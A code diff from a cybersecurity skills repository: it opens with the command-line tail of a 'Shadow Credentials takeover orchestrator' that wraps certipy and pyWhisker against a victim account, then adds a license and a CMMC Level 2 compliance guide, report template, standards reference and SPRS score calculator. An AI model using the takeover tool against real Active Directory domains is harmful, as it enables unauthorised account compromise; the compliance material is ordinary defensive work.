+    ap = argparse.ArgumentParser(description="Shadow Credentials takeover orchestrator.")
+    sub = ap.add_subparsers(dest="mode", required=True)
+
+    c = sub.add_parser("certipy", help="Use certipy shadow auto (end to end)")
+    c.add_argument("-u", "--user", required=True, help="attacker@domain")
+    c.add_argument("-p", "--password")
+    c.add_argument("--hashes")
+    c.add_argument("-k", "--kerberos", action="store_true")
+    c.add_argument("--dc-ip", required=True, dest="dc_ip")
+    c.add_argument("--target", required=True, help="victim or WS01$")
+    c.add_argument("--ns")
+
+    w = sub.add_parser("pywhisker", help="Use pyWhisker add (manual PKINIT after)")
+    w.add_argument("-d", "--domain", required=True)
+    w.add_argument("-u", "--user", required=True)
+    w.add_argument("-p", "--password")
+    w.add_argument("-k", "--kerberos", action="store_true")
+    w.add_argument("--dc-ip", dest="dc_ip")
+    w.add_argument("--target", required=True)
+    w.add_argument("--pywhisker", required=True, help="Path to pywhisker.py")
+
+    args = ap.parse_args()
+    if args.mode == "certipy":
+        certipy_flow(args)
+    else:
+        pywhisker_flow(args)
+
+
+if __name__ == "__main__":
+    main()

skills/achieving-cmmc-level-2-compliance/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

skills/achieving-cmmc-level-2-compliance/SKILL.md

@@ -0,0 +1,142 @@
+---
+name: achieving-cmmc-level-2-compliance
+description: >-
+  Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI
+  and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14
+  families, compute the SPRS score with the DoD Assessment Methodology, manage a
+  compliant POA&M, and ready the organization for a C3PAO assessment. Use when an
+  organization handles Controlled Unclassified Information (CUI) under a DoD contract,
+  when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for
+  or responding to a CMMC assessment, when computing or improving an SPRS score, when
+  building a System Security Plan or POA&M for 800-171, or when scoping which systems
+  are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2,
+  CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment
+  Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.
+domain: cybersecurity
+subdomain: compliance-governance
+tags:
+- cmmc
+- nist-800-171
+- cui
+- sprs
+- dfars
+- c3pao
+- poam
+- compliance
+- governance
+- defense-industrial-base
+version: "1.0"
+author: andrewibrah
+license: Apache-2.0
+nist_csf:
+- GV.OC-03
+- GV.SC-01
+- ID.AM-08
+- ID.RA-05
+- PR.AA-01
+- PR.DS-01
+mitre_attack:
+- T1078
+- T1190
+- T1041
+- T1048
+- T1567
+---
+
+# Achieving CMMC Level 2 Compliance
+
+## When to Use
+
+- When an organization in the **Defense Industrial Base (DIB)** stores, processes, or transmits **Controlled Unclassified Information (CUI)** under a DoD contract.
+- When a contract includes **DFARS 252.204-7012** (safeguarding/incident reporting), **-7019/-7020** (NIST 800-171 self-assessment + SPRS), or the new **-7021** (CMMC requirement).
+- When preparing for a **C3PAO** third-party assessment or a DoD-led assessment.
+- When you must **compute, post, or improve an SPRS score** based on the NIST SP 800-171 DoD Assessment Methodology.
+- When authoring or remediating a **System Security Plan (SSP)** and **POA&M** for the 110 requirements.
+- When **scoping** which assets fall inside the CUI/FCI boundary (CUI assets, security-protection assets, contractor risk-managed assets, out-of-scope).
+
+## Prerequisites
+
+- Knowledge of **which contracts carry CUI** and the CUI categories involved (check the contract and the DoD CUI Registry).
+- An asset inventory and network diagram so you can define the **CMMC assessment scope** before assessing controls.
+- The **NIST SP 800-171 Rev 2** requirements and the **DoD Assessment Methodology** scoring weights.
+- A documented **SSP** (its absence is itself a failed requirement — 3.12.4).
+- Identification of any **External Service Providers (ESPs)** / cloud services touching CUI, and whether they meet **FedRAMP Moderate (or equivalency)**.
+
+## Workflow
+
+### 1. Determine applicability and CUI categories
+Confirm the contract requires CMMC Level 2 (CUI present, not just FCI). FCI-only contracts are **Level 1** (the 15 FAR 52.204-21 requirements). Identify CUI categories from the contract and the DoD CUI Registry.
+
+### 2. Scope the environment
+Classify every asset into one of the CMMC scoping categories:
+- **CUI Assets** — process/store/transmit CUI (in scope, assessed against all applicable controls).
+- **Security Protection Assets** — provide security to the CUI environment (in scope).
+- **Contractor Risk Managed Assets** — could but are not intended to handle CUI; managed by policy.
+- **Specialized Assets** (IoT/OT, GFE, test equipment) — documented, limited assessment.
+- **Out-of-Scope** — physically/logically isolated from CUI.
+
+Minimize scope deliberately — a smaller, well-segmented CUI enclave is far cheaper to certify than a flat network.
+
+### 3. Implement the 110 requirements (NIST SP 800-171 Rev 2)
+Work the **14 families** (3.1–3.14). For each requirement, implement, then write the **how** in the SSP. High-leverage early wins: MFA (3.5.3), FIPS-validated cryptography (3.13.11), audit logging (3.3.x), access control + least privilege (3.1.x), and incident response (3.6.x).
+
+### 4. Score with the DoD Assessment Methodology (SPRS)
+Start at **110** and subtract the weighted value (**1, 3, or 5 points**) of each **unmet** requirement; partial credit applies to a small number of controls (e.g., MFA, FIPS crypto). The result is the **SPRS score** (maximum 110; the methodology floor is −203). Post the score, the SSP date, and the assessment scope to **SPRS** (or eMASS for higher assessments).
+
+### 5. Build a compliant POA&M
+Document every unmet requirement with owner, remediation, and milestone. **Constraints under the CMMC rule:** a **Conditional** status requires a score of at least **80%** (≥ 88 of 110), only **POA&M-eligible** requirements may be deferred (the highest-weighted security requirements must be fully met — verify eligibility against 32 CFR Part 170), and all POA&M items must be **closed within 180 days** to convert Conditional → **Final**.
+
+### 6. Assess (self or C3PAO)
+- **Level 1** and a subset of Level 2 = annual **self-assessment** with an affirmation in SPRS.
+- **Level 2 (most CUI contracts)** = triennial **C3PAO** certification assessment.
+- **Level 3** = DoD (DIBCAC) assessment on top of Level 2, adding SP 800-172 enhanced requirements.
+Assessors evaluate each objective as **MET / NOT MET / N/A** with evidence (examine/interview/test). A senior official files the **annual affirmation** of continued compliance.
+
+### 7. Maintain certification
+Certification is valid **three years** with **annual affirmations**. Maintain the SSP, re-score on change, keep evidence current, and feed significant changes back into the assessment.
+
+## Key Concepts
+
+| Concept | Definition |
+|---|---|
+| FCI | Federal Contract Information — Level 1 protects it (FAR 52.204-21). |
+| CUI | Controlled Unclassified Information — Level 2 protects it (NIST 800-171). |
+| 110 requirements | The SP 800-171 Rev 2 security requirements across 14 families. |
+| SPRS | Supplier Performance Risk System — where the 800-171 score is posted. |
+| DoD Assessment Methodology | The 1/3/5-point weighting used to compute the score from 110. |
+| C3PAO | CMMC Third-Party Assessment Organization — performs Level 2 certification. |
+| POA&M | Plan of Action & Milestones — limited, must close in 180 days for Final status. |
+| Conditional vs Final | Conditional = open POA&M (score ≥ 80%); Final = all controls met. |
+| ESP | External Service Provider — must meet FedRAMP Moderate / equivalency for CUI. |
+| Scoping categories | CUI / Security Protection / Contractor Risk Managed / Specialized / Out-of-Scope. |
+
+## Tools & Systems
+
+- **NIST SP 800-171 Rev 2** — the 110 requirements (and 800-171A for assessment objectives).
+- **DoD NIST SP 800-171 Assessment Methodology** — the scoring weights.
+- **32 CFR Part 170** (CMMC Program rule) and **48 CFR / DFARS 252.204-7021** (acquisition rule).
+- **SPRS** — score posting; **SAM.gov** for registration.
+- **SP 800-172 / 800-172A** — enhanced requirements for Level 3.
+- **GRC / compliance tooling** — to manage the SSP, POA&M, and evidence (e.g., Xacta, RegScale, FutureFeed-style trackers).
+
+## Common Scenarios
+
+- **Prime flows CUI to a sub.** The sub needs its own Level 2 scope, SSP, SPRS score, and (most likely) C3PAO certification.
+- **Score is below 88.** Prioritize the highest-weighted unmet requirements (5-point, then 3-point) to clear the conditional threshold and shrink the POA&M.
+- **Cloud holds CUI.** Confirm the service is FedRAMP Moderate authorized or meets equivalency; document the responsibility split.
+- **Flat network.** Re-scope into a segmented CUI enclave to cut the assessment surface before spending on controls.
+- **Annual affirmation due.** A senior official affirms continued compliance in SPRS; let it lapse and you risk contract eligibility.
+
+## Output Format
+
+Produce a **CMMC Level 2 Readiness Report** using `assets/template.md`, containing:
+
+1. **Applicability & CUI categories** — why Level 2 applies.
+2. **Scope** — assets by scoping category and the CUI boundary diagram reference.
+3. **Control status by family** — met / not met / N/A across the 14 families.
+4. **SPRS score** — computed score, deductions, and the gap to 110 and to the 88 threshold.
+5. **POA&M** — unmet requirements, eligibility check, owners, 180-day milestones.
+6. **Assessment path** — self vs C3PAO, target date, affirmation owner.
+7. **Remediation roadmap** — sequenced by point value and effort.
+
+Use `scripts/process.py` to compute the SPRS score from a control-status JSON, flag POA&M-eligibility concerns, and report the gap to the conditional-certification threshold.

skills/achieving-cmmc-level-2-compliance/assets/template.md

@@ -0,0 +1,63 @@
+# CMMC Level 2 Readiness Report — Worked Example
+
+> Filled example for a small DIB manufacturer handling CUI on a segmented enclave.
+> Replace bracketed content for your own organization.
+
+## 1. Applicability & CUI Categories
+- **Contract drivers:** Prime subcontract with DFARS **252.204-7012** and **-7021**; CUI present → **CMMC Level 2** required.
+- **CUI categories (from contract + DoD CUI Registry):** Controlled Technical Information (CTI), Export Controlled (EAR).
+- **Target assessment path:** Triennial **C3PAO** certification (Phase 2 applies from Nov 10, 2026).
+
+## 2. Scope (CMMC Level 2 Scoping Guide)
+| Category | Examples in this environment |
+|---|---|
+| CUI Assets | Engineering workstations, CUI file share, the segmented "Enclave-1" VLAN |
+| Security Protection Assets | EDR console, SIEM, firewall, IdP/MFA, jump host |
+| Contractor Risk Managed | General corporate laptops (policy-blocked from CUI) |
+| Specialized Assets | CNC machine controllers (documented, isolated) |
+| Out-of-Scope | Guest Wi-Fi, marketing SaaS |
+
+**Boundary note:** CUI is confined to Enclave-1 behind segmentation and MFA. Deliberately minimized to shrink the assessment surface. See network diagram `CUI-boundary-v3`.
+
+## 3. Control Status by Family (NIST SP 800-171 Rev 2)
+*(summary; full per-requirement status lives in the SSP)*
+
+| Family | Met | Partial | Not Met | N/A |
+|---|---|---|---|---|
+| 3.1 Access Control | 22 | 0 | 0 | 0 |
+| 3.3 Audit & Accountability | 8 | 0 | 1 | 0 |
+| 3.5 Identification & Auth | 10 | 1 | 0 | 0 |
+| 3.8 Media Protection | 8 | 0 | 1 | 0 |
+| 3.13 System & Comms Protection | 15 | 0 | 1 | 0 |
+| 3.14 System & Info Integrity | 6 | 0 | 1 | 0 |
+| *(others)* | all met | — | — | — |
+
+## 4. SPRS Score
+*(computed by `scripts/process.py` from the control-status JSON)*
+
+- **Score: 97 / 110** (started at 110; deducted 13).
+- **Gap to perfect:** 13 points across 4 not-met + 1 partial requirement.
+- **Conditional threshold (≥ 88):** **MET** (margin 9) — eligible for Conditional status *if* the remaining items are POA&M-eligible.
+- **Posted to SPRS:** score, SSP date, and assessment scope.
+
+## 5. POA&M (eligibility-checked)
+| ID | Requirement | Points | Eligibility | Remediation | Owner | Milestone (≤180d) |
+|---|---|---|---|---|---|---|
+| 3.3.1 | Audit log generation/coverage | 5 | **Verify** — high weight; confirm against 32 CFR 170 | Enable full audit policy + ship to SIEM | SecOps | 2026-07-30 |
+| 3.13.11 | FIPS-validated cryptography | 3 | **Verify** eligibility | Replace non-validated module with FIPS 140-validated | Infra | 2026-08-15 |
+| 3.5.3 | MFA (partial) | 3 | Partial-credit control | Extend MFA to remaining admin paths | IAM | 2026-07-20 |
+| 3.8.9 | Backup CUI protection | 1 | Eligible | Encrypt + access-control backup store | Infra | 2026-08-31 |
+| 3.14.1 | Flaw remediation | 1 | Eligible | Formalize patch SLA + tracking | IT | 2026-08-31 |
+
+> The two 3-point and one 5-point items must clear eligibility review; the highest-weighted security requirements generally cannot remain on a POA&M. All items close within **180 days** to convert Conditional → **Final**.
+
+## 6. Assessment Path
+- **Type:** C3PAO certification assessment.
+- **Target window:** Q4 2026, after POA&M closure of the high-weight items.
+- **Affirmation owner:** [senior official] files the annual affirmation in SPRS.
+
+## 7. Remediation Roadmap (sequenced by point value, then effort)
+1. **3.3.1 audit logging (5 pts)** — biggest score lever and likely POA&M-ineligible → do first.
+2. **3.13.11 FIPS crypto (3 pts)** and **3.5.3 MFA gap (3 pts)** — close to remove eligibility risk.
+3. **3.8.9, 3.14.1 (1 pt each)** — low-effort cleanups before the C3PAO date.
+4. Re-run the SPRS calculator after each closure; goal is **110** before assessment.

skills/achieving-cmmc-level-2-compliance/references/standards.md

@@ -0,0 +1,84 @@
+# CMMC Level 2 — Standards & Reference
+
+## Governing rules
+| Rule | Citation | Status / effective date |
+|---|---|---|
+| CMMC Program rule | 32 CFR Part 170 | Effective **December 16, 2024** |
+| CMMC acquisition rule (DFARS) | 48 CFR; DFARS clause **252.204-7021** (and 204.7503) | Published Sept 10, 2025; effective **November 10, 2025** |
+| Safeguarding CUI / incident reporting | DFARS **252.204-7012** | In effect |
+| NIST 800-171 self-assessment + SPRS posting | DFARS **252.204-7019 / -7020** | In effect |
+
+> Always confirm current status at the source — acquisition rules and phase dates have moved before. Authoritative: https://dodcio.defense.gov/CMMC/ and the eCFR for 32 CFR Part 170.
+
+## Phased rollout (per the acquisition rule)
+| Phase | Begins | What applies |
+|---|---|---|
+| Phase 1 | **Nov 10, 2025** | Level 1 and some Level 2 **self-assessment** required in solicitations |
+| Phase 2 | **Nov 10, 2026** | Level 2 **C3PAO certification** required for applicable contracts |
+| Phase 3 | **Nov 10, 2027** | Level 2 C3PAO + Level 3 **DIBCAC** assessment phased in |
+| Phase 4 | **Nov 10, 2028** | Full implementation across applicable DoD contracts |
+
+## The three CMMC levels
+| Level | Protects | Requirements | Assessment |
+|---|---|---|---|
+| Level 1 | FCI | 15 requirements (FAR 52.204-21) | Annual self-assessment + affirmation |
+| Level 2 | CUI | **110 requirements (NIST SP 800-171 Rev 2)** | Self **or** triennial C3PAO certification |
+| Level 3 | CUI (high priority) | 110 + selected **SP 800-172** enhanced | DoD (DIBCAC) assessment |
+
+Certification validity: **3 years**, with **annual affirmation** by a senior official in SPRS.
+
+## NIST SP 800-171 Rev 2 — the 14 families (110 requirements)
+| § | Family | # reqs |
+|---|---|---|
+| 3.1 | Access Control | 22 |
+| 3.2 | Awareness and Training | 3 |
+| 3.3 | Audit and Accountability | 9 |
+| 3.4 | Configuration Management | 9 |
+| 3.5 | Identification and Authentication | 11 |
+| 3.6 | Incident Response | 3 |
+| 3.7 | Maintenance | 6 |
+| 3.8 | Media Protection | 9 |
+| 3.9 | Personnel Security | 2 |
+| 3.10 | Physical Protection | 6 |
+| 3.11 | Risk Assessment | 3 |
+| 3.12 | Security Assessment | 4 |
+| 3.13 | System and Communications Protection | 16 |
+| 3.14 | System and Information Integrity | 7 |
+| | **Total** | **110** |
+
+(Assessment objectives for each requirement are in **NIST SP 800-171A**.)
+
+## DoD Assessment Methodology — SPRS scoring
+- Start at **110**. Subtract the weighted value of each **NOT MET** requirement.
+- Weights: **1, 3, or 5 points**. The most security-significant requirements are weighted 3 or 5.
+- **Partial credit** applies to a small number of requirements (notably MFA at 3.5.3 and FIPS-validated cryptography at 3.13.11) where partial implementation reduces the deduction.
+- Maximum score **110**; the methodology floor is **−203** (more is deducted than the 110 starting points because of the weighting).
+- The complete per-requirement point assignment is published in the **DoD NIST SP 800-171 Assessment Methodology** — use that document for the authoritative weight of each control rather than estimating.
+
+## POA&M rules under the CMMC rule (32 CFR Part 170)
+- A **Conditional** Level 2 status is allowed only if the assessment score is **at least 80% (≥ 88 of 110)**.
+- Only **POA&M-eligible** requirements may be deferred. The highest-weighted security requirements generally **must be fully met** and **cannot** sit on a POA&M — verify each item's eligibility against the rule.
+- All POA&M items must be **closed within 180 days**; a closeout assessment then converts **Conditional → Final**.
+
+## Scoping categories (CMMC Level 2 Scoping Guide)
+| Category | Treatment |
+|---|---|
+| CUI Assets | Process/store/transmit CUI — assessed against applicable requirements. |
+| Security Protection Assets | Provide security to the CUI environment — in scope. |
+| Contractor Risk Managed Assets | Capable of handling CUI but not intended to — managed by policy/config. |
+| Specialized Assets | IoT/OT, GFE, test equipment — documented, limited assessment. |
+| Out-of-Scope Assets | Isolated from CUI — not assessed. |
+
+## External Service Providers / cloud
+- Cloud services that store/process/transmit CUI must be **FedRAMP Moderate authorized or meet FedRAMP Moderate equivalency**.
+- Document the customer/provider responsibility split (CRM) and inherited controls in the SSP.
+
+## NIST CSF 2.0 alignment
+| CSF 2.0 ID | Relevance |
+|---|---|
+| GV.OC-03 | Legal/regulatory (DFARS/CMMC) requirements understood. |
+| GV.SC-01 | Supply-chain risk management — flowdown to subs / ESPs. |
+| ID.AM-08 | Assets managed across the lifecycle (scoping). |
+| ID.RA-05 | Risk informs prioritization of unmet requirements. |
+| PR.AA-01 | Identity and access (3.1 / 3.5 families). |
+| PR.DS-01 | Data-at-rest protection (FIPS crypto, media protection). |

skills/achieving-cmmc-level-2-compliance/scripts/process.py

@@ -0,0 +1,198 @@
+#!/usr/bin/env python3
+"""
+CMMC Level 2 / NIST SP 800-171 Rev 2 SPRS score calculator.
+
+Implements the DoD Assessment Methodology arithmetic: start at 110 and subtract
+the weighted value (1, 3, or 5) of each NOT MET requirement, with partial credit
+for the small set of requirements that allow it. Reports the SPRS score, the gap
+to a perfect 110 and to the 88-point (80%) conditional-certification threshold,
+and flags higher-weighted unmet requirements whose POA&M eligibility must be
+verified against 32 CFR Part 170.
+
+NOTE: per-requirement point weights are defined by the DoD NIST SP 800-171
+Assessment Methodology. Supply each requirement's official weight in the input
+(this tool does not invent weights). Use status 'partial' with 'partial_deduction'
+only for requirements the methodology allows partial credit on (e.g., 3.5.3 MFA,
+3.13.11 FIPS crypto).
+
+Input JSON shape:
+{
+  "org": {"name": "Acme Defense LLC", "scope": "CUI enclave"},
+  "requirements": [
+    {"id": "3.1.1",  "family": "3.1", "status": "met",      "weight": 5},
+    {"id": "3.5.3",  "family": "3.5", "status": "partial",  "weight": 5, "partial_deduction": 3},
+    {"id": "3.3.1",  "family": "3.3", "status": "not_met",  "weight": 5},
+    {"id": "3.8.9",  "family": "3.8", "status": "not_met",  "weight": 1},
+    {"id": "3.2.1",  "family": "3.2", "status": "na",       "weight": 1}
+  ]
+}
+
+status: met | not_met | partial | na
+
+Usage:
+  python process.py --input controls.json [--output readiness.md]
+  python process.py --input controls.json --require-conditional   # exit 1 if score < 88
+"""
+
+import argparse
+import json
+import sys
+
+START_SCORE = 110
+CONDITIONAL_THRESHOLD = 88   # 80% of 110
+VALID_STATUS = {"met", "not_met", "partial", "na"}
+VALID_WEIGHTS = {1, 3, 5}
+
+
+def compute(data):
+    reqs = data.get("requirements", [])
+    if not reqs:
+        raise ValueError("requirements list is required")
+
+    deductions = 0
+    counts = {"met": 0, "not_met": 0, "partial": 0, "na": 0}
+    poam_flags = []   # higher-weight unmet -> verify POA&M eligibility
+    by_family = {}    # family -> {met,not_met,partial,na}
+    detail = []
+
+    for r in reqs:
+        rid = r.get("id", "?")
+        status = r.get("status")
+        weight = r.get("weight")
+        if status not in VALID_STATUS:
+            raise ValueError(f"{rid}: status '{status}' invalid (met|not_met|partial|na)")
+        if status in ("not_met", "partial", "met") and weight not in VALID_WEIGHTS:
+            raise ValueError(f"{rid}: weight '{weight}' invalid (must be 1, 3, or 5)")
+
+        fam = r.get("family", rid.rsplit(".", 1)[0])
+        fam_rec = by_family.setdefault(fam, {"met": 0, "not_met": 0, "partial": 0, "na": 0})
+        fam_rec[status] += 1
+        counts[status] += 1
+
+        ded = 0
+        if status == "not_met":
+            ded = weight
+            if weight > 1:
+                poam_flags.append((rid, weight))
+        elif status == "partial":
+            ded = r.get("partial_deduction")
+            if ded is None:
+                raise ValueError(f"{rid}: status 'partial' requires 'partial_deduction'")
+            if ded < 0 or ded > weight:
+                raise ValueError(f"{rid}: partial_deduction {ded} out of range (0..{weight})")
+            if ded > 1:
+                poam_flags.append((rid, ded))
+        deductions += ded
+        detail.append((rid, fam, status, weight, ded))
+
+    score = START_SCORE - deductions
+    return {
+        "score": score,
+        "deductions": deductions,
+        "counts": counts,
+        "by_family": by_family,
+        "poam_flags": poam_flags,
+        "detail": detail,
+    }
+
+
+def render(data, res):
+    org = data.get("org", {})
+    lines = []
+    lines.append(f"# CMMC Level 2 Readiness - {org.get('name','Organization')}")
+    lines.append("")
+    if org.get("scope"):
+        lines.append(f"- **Scope:** {org['scope']}")
+    lines.append("")
+
+    score = res["score"]
+    lines.append("## SPRS Score (DoD Assessment Methodology)")
+    lines.append("")
+    lines.append(f"- **Score:** **{score}** / 110  (started at 110, deducted {res['deductions']})")
+    lines.append(f"- **Gap to perfect (110):** {110 - score}")
+    if score >= CONDITIONAL_THRESHOLD:
+        lines.append(f"- **Conditional threshold (>= {CONDITIONAL_THRESHOLD}):** MET "
+                     f"(margin {score - CONDITIONAL_THRESHOLD}) - eligible for Conditional status "
+                     "if remaining items are POA&M-eligible.")
+    else:
+        lines.append(f"- **Conditional threshold (>= {CONDITIONAL_THRESHOLD}):** NOT MET "
+                     f"(short by {CONDITIONAL_THRESHOLD - score}) - not eligible for Conditional "
+                     "certification until the score reaches 88.")
+    c = res["counts"]
+    lines.append(f"- **Status tally:** met {c['met']}, partial {c['partial']}, "
+                 f"not met {c['not_met']}, N/A {c['na']}")
+    lines.append("")
+
+    # by family
+    lines.append("## Status by family")
+    lines.append("")
+    lines.append("| Family | Met | Partial | Not Met | N/A |")
+    lines.append("|---|---|---|---|---|")
+    for fam in sorted(res["by_family"]):
+        f = res["by_family"][fam]
+        lines.append(f"| {fam} | {f['met']} | {f['partial']} | {f['not_met']} | {f['na']} |")
+    lines.append("")
+
+    # POA&M eligibility flags
+    lines.append("## POA&M eligibility check")
+    lines.append("")
+    if not res["poam_flags"]:
+        lines.append("No unmet requirement carries more than 1 point of deduction. "
+                     "Remaining gaps are most likely POA&M-eligible (still verify against 32 CFR Part 170).")
+    else:
+        lines.append("The following unmet/partial requirements carry **> 1 point**. The highest-weighted "
+                     "security requirements generally **cannot** sit on a POA&M - verify each against "
+                     "32 CFR Part 170 before relying on Conditional status:")
+        lines.append("")
+        lines.append("| Requirement | Points lost |")
+        lines.append("|---|---|")
+        for rid, w in sorted(res["poam_flags"], key=lambda x: -x[1]):
+            lines.append(f"| {rid} | {w} |")
+    lines.append("")
+    lines.append("> All POA&M items must be closed within **180 days** to convert Conditional -> Final.")
+
+    return "\n".join(lines)
+
+
+def main():
+    ap = argparse.ArgumentParser(description="CMMC L2 / NIST 800-171 SPRS score calculator")
+    ap.add_argument("--input", "-i", required=True, help="Path to control-status JSON")
